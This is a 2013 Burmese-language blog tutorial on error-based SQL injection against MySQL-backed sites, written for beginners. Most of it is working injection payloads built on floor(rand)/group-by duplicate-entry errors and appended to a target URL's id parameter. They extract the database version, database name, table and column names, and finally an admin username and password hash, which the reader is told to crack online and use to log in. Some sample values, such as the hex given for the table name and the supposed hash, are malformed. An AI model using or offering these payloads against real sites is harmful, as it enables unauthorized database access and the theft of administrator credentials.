Sunday, 3 March 2013

Error based SQLI For Beginner


Error based SQLI For Beginner

ခုဟာက Error based SQLI အေျကာင္းေလးပါ .. Beginner လို ့ေရးထားျပီးသားေနာ္.. ဆ၇ာျကီးေတြ မပါဘူး :P .
error based ကို ဘယ္နားမွာ သံုးရလည္းဆုိေတာ့ union select ကို သံုးလို ့ မရရင္ သံုးရမယ္ ဥပမာ.... ဆုိက္တစ္ခုမွာ ေကာ္လံ ဘယ္နွစ္ခု ရွိလည္း စစ္တယ္ 5 ခု ရွိေၾကာင္းသိတယ္ ျပီးေတာ့ သိတဲ့ ေကာ္လံေတြထဲ ဘယ္ေကာ္လံ ေပါက္လည္းလုိ ့ ဒီလုိ ထပ္စစ္တယ္..

www.yourtarget.com/products.php?id=2 union select 1,2,3,4,5--

အဲခါက် ဒီလို Error မ်ိဳးျပတယ္ ..
               The Used Select Statements Have Different Number Of Columns.

ကိုယ္က ေကာ္လံ ငါးခု ရွိတာလည္း ေသခ်ာပါတယ္ ဒါေပမယ့္ သူက ဒီလိုပဲ ျပေနတယ္ဆို ဘာဆက္ လုပ္ၾကမတုန္း .... အဲခါက် error based ေလးနဲ ့ ဆက္သြားမွ အဆင္ေျပေတာ့မွာပါ.... ထပ္ေျပာပါမယ္ error based ကို union select နဲ ့ ေပါက္တဲ့ ေကာ္လံ ရွာမရရင္ သံုးရပါမယ္ .... union select အလုပ္ မလုပ္တဲ့ အခါ(error based ေျပာင္းသံုးရမဲ့ အခါ) ျပတတ္တဲ့ အယ္ရာေတြကေတာ့

1.The Used Select Statements Have Different Number Of Columns.
2.Unknown Column 1 or no columns at all (in webpage and page source)
3.Error #1604

ဆုိက္ တစ္ခုကို sqli နဲ ့ဟက္ျပီဆိုရင္
ပထမဆံုး ေကာ္လံ ဘယ္နွစ္ခု ရွိလည္း စစ္ရပါမယ္
ေနာက္ ဘယ္ေကာ္လံက ေပါက္ေနလည္း စစ္ရပါမယ္
ေနာက္ ေပါက္ေနတဲ့ ေကာ္လံက ေနတစ္ဆင့္ အဲဆိုက္ရဲ့ ဒက္တာေဘ့ ဗားရွင္းက ေလး လား ငါး လား စစ္ရပါမယ္(ေလးဆို ဆက္မလုပ္သင့္ေတာ့ဘူး ထင္ပါတယ္ အခ်ိန္ကုန္ျပီး အက်ိဳး မရွိပါဘူး )
ငါး ျဖစ္ခဲ့ရင္ အဲဆိုက္ရဲ့ database နာမည္နဲ ့ ေတဘယ္ နာမည္ ေတြ သိေအာင္ လုပ္ရပါမယ္
သိလာတဲ့ ေတဘယ္ေတြထဲကမွ admin ရဲ့ ပက္စေ၀ါ့ ပါနိုင္တဲ့ ေတဘယ္ကို ရွာျပီး ေကာ္လံ ဘယ္နွစ္ခု ရွိလည္း စစ္ရပါမယ္
ရလာတဲ့ ေကာ္လံေတြထဲက admin နာမည္ နဲ ့ ပက္စေ၀ါ့ ပါတဲ့ ေကာ္လံကေန အခ်က္အလက္ေတြ ထုတ္ရပါမယ္
ဒါဆို ျပီးပါျပီ admin နာမည္ နဲ ့ ပက္စေ၀ါ့ ရမွေတာ့ ဘာက်န္ေသးလို ့လည္း

အခုဆို ေကာ္လံ ဘယ္နွစ္ခုရွိလည္း သိျပီဆိုေတာ့ ဗားရွင္း ဘယ္ေလာက္လည္း ရွာပါမယ္..... error based နဲ ့ ရွာပံုကေတာ့

or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

ဒါေလးကို ကိုယ္ ဟက္မယ့္ ဆုိက္လင့္ေနာက္မွာ ဒီလို ကပ္ေပးလိုက္ပါ....

www.yourtarget.com/index.php?id=2 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1-- 

ဒီလိုေလး ေပၚလာပါတယ္

Duplicate entry '~'5.1.56-log'~1' for key 'group_key
5.1.56-log 
ဆို ျမင္မယ္ ထင္ပါတယ္ ဒါက ဗားရွင္းကို ျပတာပါ ငါး ပါ.... ျပီးေတာ့ database နာမည္ ဆက္ရွာပါမယ္

www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

ဒီလိုေလး ျပလာပါတယ္ နာမည္ကို

Duplicat entry 'mhu_booter~1' for key 'group_key'

ဒါဆိုရင္ . ဒက္တာေဘ့စ္ နာမည္က mhu_booter ပါ ဆက္ျပီး ေတဘယ္ နိမ္းေတြ ရွာပါမယ္.... ဒီလိုေလးေပါ့
www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

အဲမွာ ပထမဆံုးေတဘယ္ တစ္ခု ရလာပါမယ္ အက္ဒမင္ ပက္စေ၀ါ့ မပါနုိင္ေသးဘူး ထင္ရယ္ ေနာက္ ေတဘယ္ တစ္ခု ထပ္ရွာရပါမယ္ ရွာတာကေတာ့ လြယ္ပါတယ္ အေပၚမွာ အစိမ္းေလးနဲ ့ျပထားတဲ့ limit 0,1 ေနရာမွာ limit 1,1 .... limit 2,1 စသျဖင့္ တစ္တိုးတိုး သြားပါ ေတဘယ္ နိမ္း တစ္ခု စီျပပါလိမ့္မယ္ ဒီလိုေပါ့


www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


ဒါဆို ေနာက္ထပ ္ေတဘယ္ တစ္ခုထပ္ျပပါမယ္ မၾကိဳက္ေသးရင္ တစ္သာသာ တိုးတိုး သြားပါ ေတဘယ္ေတြ ျပပါလိမ့္မယ္.... ကြ်န္ေတာ္က အဲလို လုပ္ရင္း ေတဘယ္ တစ္ခုေတြ ့တယ္ဆိုပါေတာ့.... သူေလး နာမည္က tbl_admin လဲ့ ခိခိ ရင္ခုန္ထွာ .... ဒီေတဘယ္ထဲက အခ်က္အလက္ေတြ နွိုက္ထုတ္ပါေတာ့မယ္ သူ ့ထဲက ေကာ္လံေတြ အရင္ ၾကည့္ပါမယ္ ဒီလိုေပါ့....


www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX_HERE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


အေပၚမွာ TABLEHEX_HERE လို ့ အနီေရာင္ၾကီးနဲ ့ ျပထားတဲ့ ေနရာမွာ ကိုယ့္ေတဘယ္ရဲ့ HEX ကို ထည့္ရပါမယ္ လြယ္ပါတယ္ ဒီလင့္ခ္မွာ သြားလုပ္လိုက္ပါ

http://www.swingnote.com/tools/texttohex.php

tbl_admin ဆိုတာေလးကို hex လုပ္လုိက္တာ ဒီလိုေလး ရလာပါတယ္ 12kldj23keqc892n823fnc ေပါ့ဗ်ာ အဲဒါေလးကို အေပၚမွာ 0x ေလးနဲ ့ ကပ္ျပီး အစားသြင္းရံုပါ လြယ္လြယ္ေလး ဒီလုိေပါ့

www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x12kldj23keqc892n823fnc limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

ဒါဆို ပထမဆံုး ေကာ္လံ တစ္ခု ျပပါလိမ့္မယ္ မၾကိဳက္ေသးရင္ အစိမ္းေရာင္ေလးနဲ ့ ျပထားတဲ့ limit 0,1 ေနရာေလးမွာ တစ္တိုးတိုးျပီး ေနာက္ထပ္ ေကာ္လံ ေတြ ျပခိုင္းပါ limit 1,1 limit 2,1 စသျဖင့္ေပါ့.... အဲလုိ တစ္တိုးရင္း တိုးရင္းနဲ ့ ေကာ္လံ တစ္ခုရလာတယ္ဗ် username တဲ့ ဒါဆို တစ္ခုေတာ့ အဆင္ေျပပါျပီ ေနာက္ထပ္ ဆက္ တိုးလိုက္တာ password တဲ့ ဟီး အားလံုးေျပျပီဗ်ာ ..... username ပါတဲ့ ေကာ္လံေရာ password ပါတဲ့ ေကာ္လံေရာ နွစ္ခုလံုးရေနျပီေလ ယူရံုပဲ က်န္ေတာ့တာ စယူတာေပါ့ ဒီလိုေလး ....


www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


အေပၚမွာ လိုအပ္တာေလးကို အစားထုိးရပါမယ္ အနီေရာင္ေလးနဲ ့ျပထားတဲ့ COLUMN_NAME ဆိုတဲ့ ေနရာနွစ္ခုမွာ ကိုယ္ရဲ့ ေကာ္လံ နိမ္း နွစ္ခုကို အစားထိုးရမွာပါ အခုက username နဲ ့ password ရယ္လို ့အစားထိုးလုိက္ပါမယ္ ေနာက္ျပီး အျပာေလးနဲ ့ ျပထားတဲ့ databasename ဆိုတဲ့ ေနရာမွာေတာ့ ဟိုး အေပၚဆံုးမွာ ရွာထားတဲ့ databasename ကို ျပန္ထည့္ရမွာပါ မွတ္မိအုန္းမလား မသိဘူး နာမည္က mhu_booter ရယ္လို ့ ရခဲ့သဗ် .... ျပီးေဘးကပ္လ်က္ အျပာနဲ ့ေရးထားတဲ့ TABLENAME ေနရာမွာလည္း ခုနက ရွာထားတဲ့ ေတဘယ္နိမ္းကို ထည့္ရံုပါ မွတ္မိေသးလားဗ် သူေယးက tbl_admin လဲ့ ထည့္လိုက္ပါ.... အစိမ္းေလးနဲ ့ ျပထားတဲ့ limit 0,1 ကိုေတာ့ သိေနပါျပီေနာ္.... လိုအပ္တာေတြ အစားသြင္းျပီး ရလာတာက ဒီလိုေလး


www.yourtarget.com/index.php?id=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x7e,password) as char),0x7e)) from mhu_booter.tbl_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


ကဲေပၚလာတာေလးက တစ္အားကို ေပ်ာ္ဖို ့ေကာင္း ဒီလိုေလးပါ
Duplicate entry 'admin~2929d9cc92c9cd929c9d939c9c9~1' for key
ဒါဆို နာမည္က admin ..... password က 2929d9cc92c9cd929c9d939c9c9 ပါ ဒါကို Hash ေျဖေပးတဲ့ ဆိုက္ေတြမွာ သြားေျဖလိုက္ရင္ plain text ရလာပါမယ္ ဒါဆို ျပီးပါျပီ ဘရားသားတုိ ့ လက္ထဲမွာ admin username နဲ ့ password ေရာက္လာပါျပီ အိုေက ..

Credit - backb0neb00t3r  

0 comments:

Post a Comment